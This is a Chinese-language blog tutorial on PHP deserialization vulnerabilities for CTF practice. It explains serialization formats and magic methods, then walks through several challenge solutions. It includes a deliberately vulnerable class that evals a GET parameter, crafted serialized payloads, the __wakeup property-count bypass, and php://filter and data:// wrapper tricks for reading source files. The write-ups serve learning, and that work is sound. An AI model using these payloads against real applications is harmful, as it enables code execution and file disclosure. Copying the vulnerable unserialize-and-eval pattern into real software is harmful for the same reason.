[CTF]PHP反序列化总结_ctf php反序列化-CSDN博客
php面向对象基础
在学习php反序列化的过程中,我觉得如果要学习php反序列化的话,首先要先了解php面向对象基本概念,作为一个小白如果不了解的话,学习php反序列化会很难受,关于学习php面向对象基本概念看到了一篇大佬的博客觉得很好
也可以去B站上看橙子科技工作室的视频,他们讲的都很细,很基础
【PHP反序列化漏洞学习】https://www.bilibili.com/video/BV1R24y1r71C?p=4&vd_source=556229b9b0a7c81a76ee96d16b7c65da
php序列化和php反序列化
在PHP中,序列化和反序列化是用于将数据结构转换为字符串(序列化)和将字符串转换回数据结构(反序列化)的常见操作,通常用于数据持久化、数据传输等场景。
序列化(Serialization):
在PHP中,使用serialize()函数将一个数据结构(如数组、对象等)转换为字符串。这个字符串可以被存储到文件、数据库或者通过网络传输。序列化后的字符串是以一种特定的格式表示数据结构的,包含了原始数据结构的类型信息和内容。
$data = array('name' => 'John', 'age' => 30);
$serialized_data = serialize($data);
echo $serialized_data;
上面的代码将数组 $data序列化为一个字符串,并输出结果。这个结果类似于:
a:2:{s:4:"name";s:4:"John";s:3:"age";i:30;}
关于这一串序列化后得到的数据,它表示一个包含两个元素的数组。让我们来解释一下它的结构:这串字符串序列化了一个包含两个键值对的数组,其中键为 "name" 和 "age",对应的值分别是 "John" 和 30。
a:2:
:表示这个数据是一个数组(a
),其中包含了两个元素(一个为name,一个为age),数字 2 表示数组中元素的数量。如果数组中元素数量为3,那就是a:3。如果他是一个整数的话,那就是I:2,如果是字符串的话就是S:2。
{}
:表示数组的开始和结束。
s:4:"name";
:这是数组的第一个元素。s
表示字符串类型,4
表示字符串的长度,name
是字符串的值。
s:4:"John";
:表示字符串类型,长度为 4,第一个元素name的值为 "John"。
s:3:"age";
:表示字符串类型,长度为 3,值为 "age"。
i:30;
:表示整数类型,第二个元素age的值为 30。
反序列化(Unserialization):
反序列化是将序列化后的字符串重新转换为原始的数据结构。反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值无关。在PHP中,可以使用unserialize()函数来完成这个过程。(反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转化为字符串)。
$serialized_data = 'a:2:{s:4:"name";s:4:"John";s:3:"age";i:30;}';
$data = unserialize($serialized_data);
print_r($data);
上述代码将序列化后的字符串 $serialized_data反序列化为原始的数组,并打印出来。输出结果为:
Array
(
[name] => John
[age] => 30
)
值得注意的是,反序列化时需要注意安全性,尤其是当反序列化来自不可信来源的数据时,可能存在安全风险,因为恶意用户可以利用反序列化漏洞执行恶意代码。因此,在反序列化之前,应该对数据进行验证和过滤,确保安全性。
反序列化漏洞原因:
反序列化过程中unserialize()函数的参数可以控制,传入特殊的序列化后的字符串可改变对象的属性值,并触发特定函数执行代码;
//反序列化漏洞简单案例
<?php
class test
{
public $a="haha";
public function display()
{
eval($this->a);
}
}
$cmd=$_GET['cmd'];
//cmd=O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}
$d=unserialize($cmd);
$d->display();
?>
//如上反序列化的内容是GET方法获得的,是可控的,传入上图注释中的cmd
//内容,可实现执行php代码:phpinfo();
说简单一点,序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。网上有一个很具体的例子:我们在网上买了一张桌子,为了方便他运输过来,就会把他拆成一块一块的,装在箱子里进行邮寄(这就相当于序列化过程(把数据转化为可以存储或者传输的形式)),当我们拿到快递之后,我们又对它进行安装拼接,最后变成一张桌子(这就相当于反序列化的过程(转化成当初的数据对象))。
PHP反序列化常用魔术函数
在PHP中,反序列化时可以使用魔术方法来执行一些额外的操作或处理。以下是一些常见的魔术方法,在反序列化时会被调用:
__wakeup(): 这个方法在反序列化时会被调用,用于重新初始化对象。可以在这个方法中执行一些必要的操作,例如重新建立数据库连接或者执行一些其他初始化的逻辑。
class MyClass {
public function __wakeup() {
// 在反序列化时执行的逻辑
}
}
__set_state(): 这个方法在通过调用 var_export()
导出一个对象时会被调用,用于返回一个包含对象状态的数组。
class MyClass {
public static function __set_state($array) {
$obj = new MyClass();
// 根据数组中的数据恢复对象状态
return $obj;
}
}
__sleep(): 这个方法在序列化对象之前会被调用,用于控制对象序列化时哪些属性会被包含。
class MyClass {
public function __sleep() {
return array('property1', 'property2');
}
}
__destruct(): 虽然不是专门用于反序列化的方法,但在对象被销毁时会被调用。在某些情况下,当对象被反序列化后,可能会需要执行一些清理工作。
class MyClass {
public function __destruct() {
// 在对象销毁时执行的清理工作
}
}
__clone(): 当对象被克隆时调用。如果在对象的生命周期中有必要进行一些初始化或其他操作,可以使用这个方法。
class MyClass {
public function __clone() {
// 在对象被克隆时执行的操作
}
}
__toString(): 当对象被转换为字符串时调用。虽然不是直接用于序列化和反序列化的方法,但在某些场景下可能会与序列化结合使用。
class MyClass {
public function __toString() {
return 'Object of MyClass';
}
}
__invoke(): 当尝试将对象作为函数调用时调用。这个方法允许对象表现得像一个可调用的函数。
class MyClass {
public function __invoke() {
echo 'Object of MyClass is invoked';
}
}
__isset() 和 __unset(): 用于检查属性是否被设置和在属性被 unset 时调用。
class MyClass {
public function __isset($name) {
// 检查属性是否被设置
}
public function __unset($name) {
// 当属性被 unset 时调用
}
}
理论很抽象,还是进行实操有用
[SWPUCTF 2021 新生赛]no_wakeup
打开环境,进行代码审计
题目看着很简单,只需要让admin=admin,然后让passwd=wllm就能得到flag,但是这儿有一个__wakeup()的魔术方法,我们需要绕过__wakeup
关于__wakeup魔术方法
调用条件:
当使用unserialize时被调用,可用于做些对象的初始化操作。
__wakeup函数的漏洞原理:
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
所以,我们等会只要修改对象属性的个数使他大于真实个数可以绕过了
构造函数:
<?php
class HaHaHa{
public $admin='admin';
public $passwd='wllm';
}
$a =new HaHaHa();
echo serialize($a);
?>
运行得到 :
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
然后我们构造url:
?p=O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
喔嚯,忘记绕过__wakeup函数了,我们这儿 O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}中2就是对象个数也是他的真实个数,一个是admin,一个是passwd,我们只需要让其大于2就行了,3,4,5都可以
构造url:
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
得到flag
[SWPUCTF 2022 新生赛]ez_ez_unserialize
打开环境,一样进行代码审计
创造类x,定义了一个魔术常量x为_FILE_(当前的文件名),又定义了几个函数,construct函数让x类中的x赋值,wakeup让x重新赋值为_FILE_,destruct函数高亮x常量,如果传参x存在反序列化,否则输出,还给了提示,flag在fllllllag中,和上题一样,需要绕过__wakeup()函数
都没什么用,重点是flag在fllllllag中,直接构造
<?php
class x{
public $x='fllllllag.php';
}
$a=new x();
echo serialize($a);
?>
得到:
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
进行绕过
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
得到flag
[SWPUCTF 2021 新生赛]ez_unserialize
打开环境,使用dirsearch扫描一下
发现了robots.txt文件,访问一下
看到了/cl45s.php,接着访问
得到源码,进行代码审计
这儿需要admin=admin,passwd=ctf,满足条件后就会输出flag
构造php
<?php
class wllm{
public $admin ='admin';
public $passwd ='ctf';
}
$a =new wllm();
echo serialize($a);
?>
得到
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
构造url得到flag
/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
[ZJCTF 2019]NiZhuanSiWei
打开环境,进行代码审计
要求我们传入一个txt文件,然后内容为welcome to the zjctf,所以我们可以使用data://写入txt文件
这儿还涉及到了file_get_content()函数:
还给了提示,有useless.php
构造url
text=data://text/plain,welcome to the zjctf
接着我们试一试可不可以直接访问useless.php,结果不能
那我们就直接使用file协议读取他的源代码,构造url
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
然后base64解码一下,得到一串php代码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
我们直接复制构造php进行序列化操作
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a =new Flag();
echo serialize($a);
?>
得到
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
然后我们构造url
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码得到flag
[HUBUCTF 2022 新生赛]checkin
打开环境,进行代码审计
进行代码审计,这儿看见了一个函数isset()函数:
如果if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password)满足条件我们就会得到flag,但是他也给了提示他修改了username和password的值,那现在我们就不知到他两个的值了
但是我们有
isset()函数,我们只要让$data_unserialize['username']=true和data_unserialize['password']=true就满足赏面条件,得到flag了
直接构造php序列化操作
<?php
$a = array(
'username'=>true,
'password'=>true
);
echo serialize($a);
?>
得到
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
构造url 得到flag
?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}